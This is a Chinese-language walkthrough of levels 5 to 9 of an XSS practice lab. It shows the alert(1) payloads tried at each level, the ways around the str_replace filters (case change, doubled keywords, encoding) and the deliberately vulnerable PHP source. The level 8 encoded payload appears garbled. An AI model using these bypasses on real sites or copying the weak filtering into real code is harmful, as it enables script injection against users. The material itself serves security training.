尝试一下基础poc:"><script>alert(1)</script>//
<h2 align=center>没有找到和"><script>alert(1)</script>//相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value=""><scr_ipt>alert(1)</script>//"><!--发现前面的<script>进行替换,后面却正常,所以判断其对<script进行替换-->
<input type=submit name=submit value=搜索 />
</form>
既然单独的script没有被过滤,所以构造新的payload进行绕过:"><a href='javascript:alert(1)'>
<input name=keyword value=""><a href='javascript:alert(1)'>">
源码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-6
简单尝试
构造onlick的poc"onclick="anlert(1)
<input name=keyword value="" o_nclick="alert(1)"><!--又是对on进行替换>
尝试基础poc<script>alert(1)</script>
<input name=keyword value="<scr_ipt>alert(1)</script>"><!--仍然对<script进行替换-->
尝试伪协议poc:"><a href='javascript:alert(1)'>
<input name=keyword value=""><a hr_ef='javascript:alert(1)'>"><!--这里新添加对href进行替换-->
绕过分析
既然都被过滤,就从以下三个方面入手
大小写
重复写
编码绕过
这里先尝试大小写,重新构造payload:"><a Href='javascript:alert(1)'>
<input name=keyword value=""><a Href='javascript:alert(1)'>">
源码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-7
简单尝试
继续使用伪协议poc:"><a Href='javascript:alert(1)'>
<input name=keyword value=""><a ='java:alert(1)'>"><!--后端过滤了href script-->
绕过分析
尝试复写绕过,构造新payload"><a hrehreff='javascscriptript:alert(1)'>
源码审计
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);//总的来说,只是把敏感字符串删除,并没有替换安全啊
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-8
简单尝试
添加链接?尝试一下伪协议咯poc:javascript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--script进行了替换-->
尝试一下大小写呢?poc:javasCript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--仍然没有变,看来进行了大小写转化-->
绕过分析
既然被转化过滤了,复写也没办法,那就进行编码尝试,payload:javascript:alert(1)
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
Level-9
简单尝试
构造伪协议poc:javascript:alert(1)
<a href="http://www.likecs.com/您的链接不合法？有没有！">友情链接</a>
绕过分析
